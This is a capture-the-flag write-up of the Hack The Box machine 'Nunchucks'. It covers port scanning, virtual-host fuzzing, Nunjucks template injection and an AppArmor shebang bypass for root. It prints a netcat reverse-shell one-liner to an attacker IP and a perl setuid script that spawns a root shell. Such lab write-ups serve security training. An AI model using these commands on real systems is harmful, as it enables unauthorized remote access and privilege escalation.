Nunchucks is an Easy level box that is using ExpreessJS application template engine, Nunjucks, and later finding out its subdomain. On that subdomain Server Side Template Injection(SSTI) vulnerability is residing. Exploiting the vulnerability with POC and getting shell as user David. David has setuid
capability on perl binary, later finding out that this binary has limited permissions from AppArmor and after understanding it we can exploit AppArmor using shebang to get root user.
Enumeration
Nmap
nmap
is a is a network scanner. With feeding this an IP you can scan for its open ports and services running on it. This tool is exalted for its positive results in the InfoSec community.
Starting nmap with full port scanning without detecting services and storing the results into all file prepending with flag -oA.
-p-
: Specifies All ports 0-65535-oA
: To print output into files with extensions gnmap,xml,nmap, Here A stands for All.--min-rate=
: When the –min-rate option is given Nmap will do its best to send packets as fast as or faster than the given rate. And I got the following result,
1
2
3
4
5
6
7
8
9
Nmap scan report for 10.10.11.122
Host is up (0.35s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 383.21 seconds
Now I scan them to identify running services and nmap pre-installed scripts using -sV
and -sC
flags respectively.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Nmap scan report for 10.10.11.122
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
|_http-title: Nunchucks - Landing Page
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.29 seconds
On port 443, hostname is given by nmap output, I will quickly add it to my host file.
10.10.11.122 nunchucks.htb nunchucks
Escalating to David user
Visiting 10.10.11.122
or nunchucks.htb:80
redirects to https
.
There is a team listed at the bottom of the page, I made small list from them.
mike page
samnatha bloom
nicolas ritcher
mary longhorn
susanne blake
vanya dropper
There are login
and signup
pages also but both of them are throwing errors..
Discovering store.nunchucks.htb
In the background, I was running ffuf
to find any Vhosts and it found store.nunchucks.htb
.
1
ffuf -u https://nunchucks.htb/ -w /opt/Tools/SecLists/Discovery/Web-Content/raft-small-words.txt -H "Host: FUZZ.nunchucks.htb" -fl 547
-u
: Provide URL to scan-w
: Wordlist-H
: Header, Here HeaderHost
is used to scan for Vhosts.-fl
: To filter lines in repsonse.
Adding it to /etc/hosts
10.10.11.122 nunchucks.htb nunchucks store.nunchucks.htb
At the bottom of https://nunchucks.htb
page was Store: Coming soon
was written. It was hint for Vhost as well.
Discovering SSTI on store.nunchucks.htb
Now visting store.nunchucks.htb
,
I entered my email address in textbox and captured the request,
After looking at the request and response, both are in JSON format and my input was reflected on response.
Also noted that server is ExpressJS. Express.js, or simply Express, is a back end web application framework for Node.js.
I tried XSS, SQL non of them gave me fruitful results. After keep looking for any perculiar behaviour I found that my input was rendered by back end engine.
Googling for ExpressJS template engines lead me to a list of template engines used. Name of the box and this template engine sounds similar hence clearly shows that this is inteded vulnerability.
I googled for Nunjucks template injection
and it lead me to a blog site that showed POC on how to exploit data.
I changed tail
to cat
and I got more data than previous response, I was able to extract whole /etc/passwd
file. After looking at the /etc/passwd
, user is David. So I tried extracting ssh key residing in home directory of david, but it is asking for password.
Now I used nc reverse shell from pentestmonkey and I got shell as user.
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 9001 >/tmp/f
While getting proper shell, this box is really sensitive I lost my reverse shell trying to put SSH key inside authorized_keys
. Anyway I did that from burp suite.
I got proper SSH shell.
Getting root
setuid capability
User David has one interesting capability, he can run perl commands with setuid capability.
I head over to GTFObins and copied their capability payload but I did not get shell as root.
After looking for more information, I came across some interesting files in /opt
directory.
1
2
3
4
5
6
david@nunchucks:/opt$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Oct 28 17:03 .
drwxr-xr-x 19 root root 4096 Oct 28 17:03 ..
-rwxr-xr-x 1 root root 838 Sep 1 12:53 backup.pl
drwxr-xr-x 2 root root 4096 Nov 8 11:41 web_backups
looking at the backup.pl
file,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
This file on execution zipping files from web directory to /opt/web_backups
also it is using POSIX to setuid(0) i.e. setting it to root.
AppArmor
It is using AppArmor for execution. AppArmor limits resources for programs and its profiles allows user capability. Looking at the profile in /etc/apparmor.d
,
1
2
3
4
david@nunchucks:/etc/apparmor.d$ ls -la
-- snip --
-rw-r--r-- 1 root root 442 Sep 26 01:16 usr.bin.perl
-- snip --
Reading file showed that perl is denied rwx
access on /root, while it can run later commands such as id
, ls
, cat
, whoami
and file in /opt/backup.pl
directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
Let’s try those commands,
Bug from launchpad shows that adding Shebang(#) will bypass security checks and execute arbitrary script.
I created small script mentioned before from GTFObins, and added shebang
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec “/bin/sh”;
gave the script +x
permission
chmod +x shell.pl
and voilà I got root.